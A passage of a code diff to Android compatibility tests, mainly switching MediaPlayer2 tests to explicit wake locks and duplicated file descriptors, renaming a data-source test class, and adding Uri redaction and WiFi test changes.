+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mp.setWakeLock(wakeLock);
+
mp.loopCurrent(true);
Monitor onCompletionCalled = new Monitor();
Monitor onRepeatCalled = new Monitor();
@@ -573,7 +594,11 @@
.setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
.build();
mp.setAudioAttributes(attributes);
- mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mp.setWakeLock(wakeLock);
mp.play();
@@ -597,14 +622,15 @@
mp.reset();
AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
mp.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build());
+ afd.close();
mp.registerEventCallback(mExecutor, ecb);
onPrepareCalled.reset();
mp.prepare();
onPrepareCalled.waitForSignal();
- afd.close();
mp.play();
@@ -687,7 +713,11 @@
.setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
.build();
mp.setAudioAttributes(attributes);
- mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mp.setWakeLock(wakeLock);
OutputListener listener = new OutputListener(mp.getAudioSessionId());
@@ -933,14 +963,18 @@
AssetFileDescriptor afd2 = mResources.openRawResourceFd(resid);
DataSourceDesc dsd2 = new FileDataSourceDesc.Builder()
- .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+ afd2.getStartOffset(), afd2.getLength())
.build();
+ afd2.close();
resid = R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz;
AssetFileDescriptor afd3 = mResources.openRawResourceFd(resid);
DataSourceDesc dsd3 = new FileDataSourceDesc.Builder()
- .setDataSource(afd3.getFileDescriptor(), afd3.getStartOffset(), afd3.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd3.getFileDescriptor()),
+ afd3.getStartOffset(), afd3.getLength())
.build();
+ afd3.close();
ArrayList<DataSourceDesc> nextDSDs = new ArrayList<DataSourceDesc>(2);
nextDSDs.add(dsd2);
@@ -1026,14 +1060,18 @@
AssetFileDescriptor afd2 = mResources.openRawResourceFd(resid);
DataSourceDesc dsd2 = new FileDataSourceDesc.Builder()
- .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+ afd2.getStartOffset(), afd2.getLength())
.build();
+ afd2.close();
resid = R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz;
AssetFileDescriptor afd3 = mResources.openRawResourceFd(resid);
DataSourceDesc dsd3 = new FileDataSourceDesc.Builder()
- .setDataSource(afd3.getFileDescriptor(), afd3.getStartOffset(), afd3.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd3.getFileDescriptor()),
+ afd3.getStartOffset(), afd3.getLength())
.build();
+ afd3.close();
ArrayList<DataSourceDesc> nextDSDs = new ArrayList<DataSourceDesc>(2);
nextDSDs.add(dsd2);
@@ -1129,8 +1167,10 @@
AssetFileDescriptor afd2 = mResources.openRawResourceFd(resid);
DataSourceDesc dsd2 = new FileDataSourceDesc.Builder()
- .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd2.getFileDescriptor()),
+ afd2.getStartOffset(), afd2.getLength())
.build();
+ afd2.close();
mPlayer.setNextDataSource(dsd2);
@@ -1788,7 +1828,11 @@
mPlayer.setDisplay(getActivity().getSurfaceHolder());
mPlayer.setScreenOnWhilePlaying(true);
- mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mPlayer.setWakeLock(wakeLock);
mOnPrepareCalled.reset();
mPlayer.prepare();
@@ -1864,7 +1908,11 @@
mPlayer.setDisplay(getActivity().getSurfaceHolder());
mPlayer.setScreenOnWhilePlaying(true);
- mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mPlayer.setWakeLock(wakeLock);
mOnPrepareCalled.reset();
mPlayer.prepare();
@@ -1925,7 +1973,11 @@
mPlayer.setDisplay(getActivity().getSurfaceHolder());
mPlayer.setScreenOnWhilePlaying(true);
- mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "MediaPlayer2Test");
+ mPlayer.setWakeLock(wakeLock);
mOnPrepareCalled.reset();
mPlayer.prepare();
@@ -2217,8 +2269,8 @@
PackageManager.FEATURE_MICROPHONE);
}
- // Smoke test playback from a Media2DataSource.
- public void testPlaybackFromAMedia2DataSource() throws Exception {
+ // Smoke test playback from a DataSourceCallback.
+ public void testPlaybackFromADataSourceCallback() throws Exception {
final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
final int duration = 10000;
@@ -2226,8 +2278,8 @@
return;
}
- TestMedia2DataSource dataSource =
- TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ TestDataSourceCallback dataSource =
+ TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
// Test returning -1 from getSize() to indicate unknown size.
dataSource.returnFromGetSize(-1);
mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
@@ -2288,7 +2340,7 @@
}
}
- public void testNullMedia2DataSourceIsRejected() throws Exception {
+ public void testNullDataSourceCallbackIsRejected() throws Exception {
MediaPlayer2.EventCallback ecb = new MediaPlayer2.EventCallback() {
@Override
public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
@@ -2306,7 +2358,7 @@
assertTrue(mCallStatus != MediaPlayer2.CALL_STATUS_NO_ERROR);
}
- public void testMedia2DataSourceIsClosedOnReset() throws Exception {
+ public void testDataSourceCallbackIsClosedOnReset() throws Exception {
MediaPlayer2.EventCallback ecb = new MediaPlayer2.EventCallback() {
@Override
public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
@@ -2318,7 +2370,7 @@
};
mPlayer.registerEventCallback(mExecutor, ecb);
- TestMedia2DataSource dataSource = new TestMedia2DataSource(new byte[0]);
+ TestDataSourceCallback dataSource = new TestDataSourceCallback(new byte[0]);
mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
.setDataSource(dataSource)
.build());
@@ -2327,15 +2379,15 @@
assertTrue(dataSource.isClosed());
}
- public void testPlaybackFailsIfMedia2DataSourceThrows() throws Exception {
+ public void testPlaybackFailsIfDataSourceCallbackThrows() throws Exception {
final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
return;
}
setOnErrorListener();
- TestMedia2DataSource dataSource =
- TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ TestDataSourceCallback dataSource =
+ TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
.setDataSource(dataSource)
.build());
@@ -2361,14 +2413,14 @@
assertTrue(mOnErrorCalled.waitForSignal());
}
- public void testPlaybackFailsIfMedia2DataSourceReturnsAnError() throws Exception {
+ public void testPlaybackFailsIfDataSourceCallbackReturnsAnError() throws Exception {
final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
if (!MediaUtils.hasCodecsForResource(mContext, resid)) {
return;
}
- TestMedia2DataSource dataSource =
- TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ TestDataSourceCallback dataSource =
+ TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
mPlayer.setDataSource(new CallbackDataSourceDesc.Builder()
.setDataSource(dataSource)
.build());
@@ -2457,10 +2509,10 @@
public void testConsecutiveSeeks() throws Exception {
final int resid = R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz;
- final TestMedia2DataSource source =
- TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ final TestDataSourceCallback source =
+ TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
final Monitor readAllowed = new Monitor();
- Media2DataSource dataSource = new Media2DataSource() {
+ DataSourceCallback dataSource = new DataSourceCallback() {
@Override
public int readAt(long position, byte[] buffer, int offset, int size)
throws IOException {
@@ -2575,10 +2627,12 @@
AssetFileDescriptor afd = mResources.openRawResourceFd(
R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz);
mPlayer.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.setStartPosition(startPosMs)
.setEndPosition(endPosMs)
.build());
+ afd.close();
mPlayer.setDisplay(mActivity.getSurfaceHolder());
mPlayer.setScreenOnWhilePlaying(true);
@@ -2654,9 +2708,9 @@
final Monitor readRequested = new Monitor();
final Monitor readAllowed = new Monitor();
- Media2DataSource dataSource = new Media2DataSource() {
- TestMedia2DataSource mTestSource =
- TestMedia2DataSource.fromAssetFd(mResources.openRawResourceFd(resid));
+ DataSourceCallback dataSource = new DataSourceCallback() {
+ TestDataSourceCallback mTestSource =
+ TestDataSourceCallback.fromAssetFd(mResources.openRawResourceFd(resid));
@Override
public int readAt(long position, byte[] buffer, int offset, int size)
throws IOException {
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
index 16a40ee..6f88364 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayer2TestBase.java
@@ -32,6 +32,7 @@
import android.media.VideoSize;
import android.media.cts.TestUtils.Monitor;
import android.net.Uri;
+import android.os.ParcelFileDescriptor;
import android.os.PersistableBundle;
import android.test.ActivityInstrumentationTestCase2;
import android.view.SurfaceHolder;
@@ -164,8 +165,10 @@
mp.setAudioSessionId(audioSessionId);
mp.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build());
+ afd.close();
Monitor onPrepareCalled = new Monitor();
ExecutorService executor = Executors.newFixedThreadPool(1);
@@ -182,7 +185,6 @@
mp.prepare();
onPrepareCalled.waitForSignal();
mp.unregisterEventCallback(ecb);
- afd.close();
executor.shutdown();
return mp;
} catch (IOException ex) {
@@ -341,11 +343,11 @@
AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
try {
mPlayer.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build());
+ afd.close();
} finally {
- // TODO: close afd only after setDataSource is confirmed.
- // afd.close();
}
return true;
}
@@ -356,9 +358,12 @@
}
AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
- return new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ FileDataSourceDesc fdsd = new FileDataSourceDesc.Builder()
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build();
+ afd.close();
+ return fdsd;
}
protected boolean checkLoadResource(int resid) throws Exception {
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 9741166..75e0d5b 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -39,6 +39,7 @@
import android.os.Handler;
import android.os.Looper;
import android.os.SystemClock;
+import android.os.ParcelFileDescriptor;
import android.os.PowerManager;
import android.platform.test.annotations.AppModeFull;
@@ -748,8 +749,10 @@
MediaPlayer2 mediaPlayer2 = new MediaPlayer2(mContext);
mediaPlayer2.setAudioAttributes(new AudioAttributes.Builder().build());
mediaPlayer2.setDataSource(new FileDataSourceDesc.Builder()
- .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .setDataSource(ParcelFileDescriptor.dup(afd.getFileDescriptor()),
+ afd.getStartOffset(), afd.getLength())
.build());
+ afd.close();
Monitor onPrepareCalled = new Monitor();
Monitor onPlayCalled = new Monitor();
@@ -782,7 +785,11 @@
onPrepareCalled.reset();
mediaPlayer2.prepare();
onPrepareCalled.waitForSignal();
- mediaPlayer2.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "RoutingTest");
+ mediaPlayer2.setWakeLock(wakeLock);
assertFalse(mediaPlayer2.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
onPlayCalled.reset();
@@ -791,7 +798,6 @@
assertTrue(mediaPlayer2.getState() == MediaPlayer2.PLAYER_STATE_PLAYING);
mediaPlayer2.unregisterEventCallback(ecb);
- afd.close();
executor.shutdown();
return mediaPlayer2;
diff --git a/tests/tests/media/src/android/media/cts/SafeWaitObject.java b/tests/tests/media/src/android/media/cts/SafeWaitObject.java
new file mode 100644
index 0000000..2346c0d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/SafeWaitObject.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+/**
+ * Helper class to simplify the handling of spurious wakeups in Object.wait()
+ */
+final class SafeWaitObject {
+ private boolean mQuit = false;
+
+ public void safeNotify() {
+ synchronized (this) {
+ mQuit = true;
+ this.notify();
+ }
+ }
+
+ public void safeWait(long millis) throws InterruptedException {
+ final long timeOutTime = java.lang.System.currentTimeMillis() + millis;
+ synchronized (this) {
+ while (!mQuit) {
+ final long timeToWait = timeOutTime - java.lang.System.currentTimeMillis();
+ if (timeToWait < 0) {
+ break;
+ }
+ this.wait(timeToWait);
+ }
+ }
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
index 18371d3..733fc7e 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayer2Test.java
@@ -603,7 +603,11 @@
.build());
mPlayer.setDisplay(getActivity().getSurfaceHolder());
mPlayer.setScreenOnWhilePlaying(true);
- mPlayer.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
+ PowerManager.WakeLock wakeLock =
+ pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK | PowerManager.ON_AFTER_RELEASE,
+ "StreamingMediaPlayer2Test");
+ mPlayer.setWakeLock(wakeLock);
final Object completion = new Object();
MediaPlayer2.EventCallback ecb =
diff --git a/tests/tests/media/src/android/media/cts/TestMedia2DataSource.java b/tests/tests/media/src/android/media/cts/TestDataSourceCallback.java
similarity index 88%
rename from tests/tests/media/src/android/media/cts/TestMedia2DataSource.java
rename to tests/tests/media/src/android/media/cts/TestDataSourceCallback.java
index d6b59b5..067e281 100644
--- a/tests/tests/media/src/android/media/cts/TestMedia2DataSource.java
+++ b/tests/tests/media/src/android/media/cts/TestDataSourceCallback.java
@@ -18,7 +18,7 @@
import android.content.res.AssetFileDescriptor;
import android.media.cts.TestUtils.Monitor;
-import android.media.Media2DataSource;
+import android.media.DataSourceCallback;
import android.platform.test.annotations.AppModeFull;
import android.util.Log;
@@ -27,11 +27,11 @@
import java.io.IOException;
/**
- * A Media2DataSource that reads from a byte array for use in tests.
+ * A DataSourceCallback that reads from a byte array for use in tests.
*/
@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class TestMedia2DataSource extends Media2DataSource {
- private static final String TAG = "TestMedia2DataSource";
+public class TestDataSourceCallback extends DataSourceCallback {
+ private static final String TAG = "TestDataSourceCallback";
private byte[] mData;
@@ -42,7 +42,7 @@
private boolean mIsClosed;
// Read an asset fd into a new byte array data source. Closes afd.
- public static TestMedia2DataSource fromAssetFd(AssetFileDescriptor afd) throws IOException {
+ public static TestDataSourceCallback fromAssetFd(AssetFileDescriptor afd) throws IOException {
try {
InputStream in = afd.createInputStream();
final int size = (int) afd.getDeclaredLength();
@@ -53,13 +53,13 @@
numRead = in.read(data, writeIndex, size - writeIndex);
writeIndex += numRead;
} while (numRead >= 0);
- return new TestMedia2DataSource(data);
+ return new TestDataSourceCallback(data);
} finally {
afd.close();
}
}
- public TestMedia2DataSource(byte[] data) {
+ public TestDataSourceCallback(byte[] data) {
mData = data;
}
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
index 339e2b4..b64a856 100644
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ b/tests/tests/media/src/android/media/cts/TestUtils.java
@@ -21,7 +21,6 @@
import android.content.Context;
import android.media.DataSourceDesc;
-import android.media.FileDataSourceDesc;
import android.media.session.MediaSessionManager;
import android.os.Bundle;
import android.os.Handler;
diff --git a/tests/tests/media/src/android/media/cts/VisualizerTest.java b/tests/tests/media/src/android/media/cts/VisualizerTest.java
index 92aa202..5645a92 100644
--- a/tests/tests/media/src/android/media/cts/VisualizerTest.java
+++ b/tests/tests/media/src/android/media/cts/VisualizerTest.java
@@ -441,8 +441,11 @@
energy += tmp*tmp;
}
} else {
- energy = (int)data[0] * (int)data[0];
- for (int i = 2; i < data.length; i += 2) {
+ // Note that data[0] is real part of FFT at DC
+ // and data[1] is real part of FFT at Nyquist,
+ // but for the purposes of energy calculation we
+ // don't need to treat them specially.
+ for (int i = 0; i < data.length; i += 2) {
int real = (int)data[i];
int img = (int)data[i + 1];
energy += real * real + img * img;
diff --git a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
index 3e9122b..45fd6d8 100644
--- a/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
+++ b/tests/tests/multiuser/src/android/multiuser/cts/SplitSystemUserTest.java
@@ -20,27 +20,20 @@
import android.os.UserManager;
import android.test.InstrumentationTestCase;
-import android.util.Log;
public class SplitSystemUserTest extends InstrumentationTestCase {
- private static final String TAG = SplitSystemUserTest.class.getSimpleName();
-
public void testSplitSystemUserIsDisabled() throws Exception {
- // Verify that am get-current-user and UserManager.isSystemUser both return 0
- String curUser = SystemUtil.runShellCommand(getInstrumentation(), "am get-current-user");
- Log.i(TAG, "am get-current-user: " + curUser);
- assertEquals("Test must be running under user 0", "0", trim(curUser));
- UserManager um = getInstrumentation().getContext().getSystemService(UserManager.class);
- assertTrue("Test must be running under system user", um.isSystemUser());
-
- // Check that ro.fw.system_user_split property is not set
+ // Check that ro.fw.system_user_split property is not set.
String splitEnabledStr = trim(SystemUtil.runShellCommand(getInstrumentation(),
"getprop ro.fw.system_user_split"));
boolean splitEnabled = "y".equals(splitEnabledStr) || "yes".equals(splitEnabledStr)
|| "1".equals(splitEnabledStr) || "true".equals(splitEnabledStr)
|| "on".equals(splitEnabledStr);
assertFalse("ro.fw.system_user_split must not be enabled", splitEnabled);
+
+ // Check UserManager.isSplitSystemUser returns false as well.
+ assertFalse("UserManager.isSplitSystemUser must be false", UserManager.isSplitSystemUser());
}
private static String trim(String s) {
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index ecdbae7..b10997c 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -852,10 +852,16 @@
int result = AHardwareBuffer_allocate(&desc, &mBuffer);
// Skip if this format cannot be allocated.
if (result != NO_ERROR) {
- ALOGI("Test skipped: format %s not supported",
+ EXPECT_FALSE(AHardwareBuffer_isSupported(&desc)) <<
+ "AHardwareBuffer_isSupported returned true, but buffer allocation failed. "
+ "Potential gralloc bug or resource exhaustion.";
+ ALOGI("Test skipped: format %s could not be allocated",
AHBFormatAsString(desc.format));
return false;
}
+ EXPECT_TRUE(AHardwareBuffer_isSupported(&desc)) <<
+ "AHardwareBuffer_isSupported returned false, but buffer allocation succeeded. "
+ "This is most likely a bug in the gralloc implementation.";
// The code below will only execute if allocating an AHardwareBuffer succeeded.
// Fail early if the buffer is mipmapped or a cube map, but the GL extension required
diff --git a/tests/tests/net/src/android/net/cts/UriTest.java b/tests/tests/net/src/android/net/cts/UriTest.java
index 1dfe43d..5344f93 100644
--- a/tests/tests/net/src/android/net/cts/UriTest.java
+++ b/tests/tests/net/src/android/net/cts/UriTest.java
@@ -504,4 +504,78 @@
Uri.parse("HTTP://USER@WWW.ANDROID.COM:100/ABOUT?foo=blah@bar=bleh#c")
.normalizeScheme());
}
+
+ public void testToSafeString_tel() {
+ checkToSafeString("tel:xxxxxx", "tel:Google");
+ checkToSafeString("tel:xxxxxxxxxx", "tel:1234567890");
+ checkToSafeString("tEl:xxx.xxx-xxxx", "tEl:123.456-7890");
+ }
+
+ public void testToSafeString_sip() {
+ checkToSafeString("sip:xxxxxxx@xxxxxxx.xxxxxxxx", "sip:android@android.com:1234");
+ checkToSafeString("sIp:xxxxxxx@xxxxxxx.xxx", "sIp:android@android.com");
+ }
+
+ public void testToSafeString_sms() {
+ checkToSafeString("sms:xxxxxx", "sms:123abc");
+ checkToSafeString("smS:xxx.xxx-xxxx", "smS:123.456-7890");
+ }
+
+ public void testToSafeString_smsto() {
+ checkToSafeString("smsto:xxxxxx", "smsto:123abc");
+ checkToSafeString("SMSTo:xxx.xxx-xxxx", "SMSTo:123.456-7890");
+ }
+
+ public void testToSafeString_mailto() {
+ checkToSafeString("mailto:xxxxxxx@xxxxxxx.xxx", "mailto:android@android.com");
+ checkToSafeString("Mailto:xxxxxxx@xxxxxxx.xxxxxxxxxx",
+ "Mailto:android@android.com/secret");
+ }
+
+ public void testToSafeString_nfc() {
+ checkToSafeString("nfc:xxxxxx", "nfc:123abc");
+ checkToSafeString("nfc:xxx.xxx-xxxx", "nfc:123.456-7890");
+ checkToSafeString("nfc:xxxxxxx@xxxxxxx.xxx", "nfc:android@android.com");
+ }
+
+ public void testToSafeString_http() {
+ checkToSafeString("http://www.android.com/...", "http://www.android.com");
+ checkToSafeString("HTTP://www.android.com/...", "HTTP://www.android.com");
+ checkToSafeString("http://www.android.com/...", "http://www.android.com/");
+ checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+ checkToSafeString("http://www.android.com/...",
+ "http://user:pwd@www.android.com/secretUrl?param");
+ checkToSafeString("http://www.android.com/...",
+ "http://user@www.android.com/secretUrl?param");
+ checkToSafeString("http://www.android.com/...", "http://www.android.com/secretUrl?param");
+ checkToSafeString("http:///...", "http:///path?param");
+ checkToSafeString("http:///...", "http://");
+ checkToSafeString("http://:12345/...", "http://:12345/");
+ }
+
+ public void testToSafeString_https() {
+ checkToSafeString("https://www.android.com/...", "https://www.android.com/secretUrl?param");
+ checkToSafeString("https://www.android.com:8443/...",
+ "https://user:pwd@www.android.com:8443/secretUrl?param");
+ checkToSafeString("https://www.android.com/...", "https://user:pwd@www.android.com");
+ checkToSafeString("Https://www.android.com/...", "Https://user:pwd@www.android.com");
+ }
+
+ public void testToSafeString_ftp() {
+ checkToSafeString("ftp://ftp.android.com/...", "ftp://ftp.android.com/");
+ checkToSafeString("ftP://ftp.android.com/...", "ftP://anonymous@ftp.android.com/");
+ checkToSafeString("ftp://ftp.android.com:2121/...",
+ "ftp://root:love@ftp.android.com:2121/");
+ }
+
+ public void testToSafeString_notSupport() {
+ checkToSafeString("unsupported://ajkakjah/askdha/secret?secret",
+ "unsupported://ajkakjah/askdha/secret?secret");
+ checkToSafeString("unsupported:ajkakjah/askdha/secret?secret",
+ "unsupported:ajkakjah/askdha/secret?secret");
+ }
+
+ private void checkToSafeString(String expectedSafeString, String original) {
+ assertEquals(expectedSafeString, Uri.parse(original).toSafeString());
+ }
}
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 40e25ad..deaa644 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -41,9 +41,11 @@
import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
+import android.text.TextUtils;
import android.util.ArraySet;
import android.util.Log;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.WifiConfigCreator;
import java.net.HttpURLConnection;
@@ -83,9 +85,6 @@
private static final String TAG = "WifiManagerTest";
private static final String SSID1 = "\"WifiManagerTest\"";
- private static final String SSID2 = "\"WifiManagerTestModified\"";
- private static final String PROXY_TEST_SSID = "SomeProxyAp";
- private static final String ADD_NETWORK_EXCEPTION_SUBSTR = "addNetwork";
// A full single scan duration is about 6-7 seconds if country code is set
// to US. If country code is set to world mode (00), we would expect a scan
// duration of roughly 8 seconds. So we set scan timeout as 9 seconds here.
@@ -200,8 +199,8 @@
} else {
mMySync.expectedState = (enable ? STATE_WIFI_ENABLED : STATE_WIFI_DISABLED);
}
- // now trigger the change
- assertTrue(mWifiManager.setWifiEnabled(enable));
+ // now trigger the change using shell commands.
+ SystemUtil.runShellCommand("svc wifi " + (enable ? "enable" : "disable"));
waitForExpectedWifiState(enable);
}
}
@@ -276,20 +275,13 @@
}
/**
- * test point of wifiManager actions:
- * 1.reconnect
- * 2.reassociate
- * 3.disconnect
- * 4.createWifiLock
+ * Test creation of WifiManager Lock.
*/
- public void testWifiManagerActions() throws Exception {
+ public void testWifiManagerLock() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
return;
}
- assertTrue(mWifiManager.reconnect());
- assertTrue(mWifiManager.reassociate());
- assertTrue(mWifiManager.disconnect());
final String TAG = "Test";
assertNotNull(mWifiManager.createWifiLock(TAG));
assertNotNull(mWifiManager.createWifiLock(WifiManager.WIFI_MODE_FULL, TAG));
@@ -414,125 +406,6 @@
return getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
}
- /**
- * test point of wifiManager NetWork:
- * 1.add NetWork
- * 2.update NetWork
- * 3.remove NetWork
- * 4.enable NetWork
- * 5.disable NetWork
- * 6.configured Networks
- * 7.save configure;
- */
- public void testWifiManagerNetWork() throws Exception {
- if (!WifiFeature.isWifiSupported(getContext())) {
- // skip the test if WiFi is not supported
- return;
- }
-
- // store the list of enabled networks, so they can be re-enabled after test completes
- Set<String> enabledSsids = getEnabledNetworks(mWifiManager.getConfiguredNetworks());
- try {
- WifiConfiguration wifiConfiguration;
- // add a WifiConfig
- final int notExist = -1;
- List<WifiConfiguration> wifiConfiguredNetworks = mWifiManager.getConfiguredNetworks();
- int pos = findConfiguredNetworks(SSID1, wifiConfiguredNetworks);
- if (notExist != pos) {
- wifiConfiguration = wifiConfiguredNetworks.get(pos);
- mWifiManager.removeNetwork(wifiConfiguration.networkId);
- }
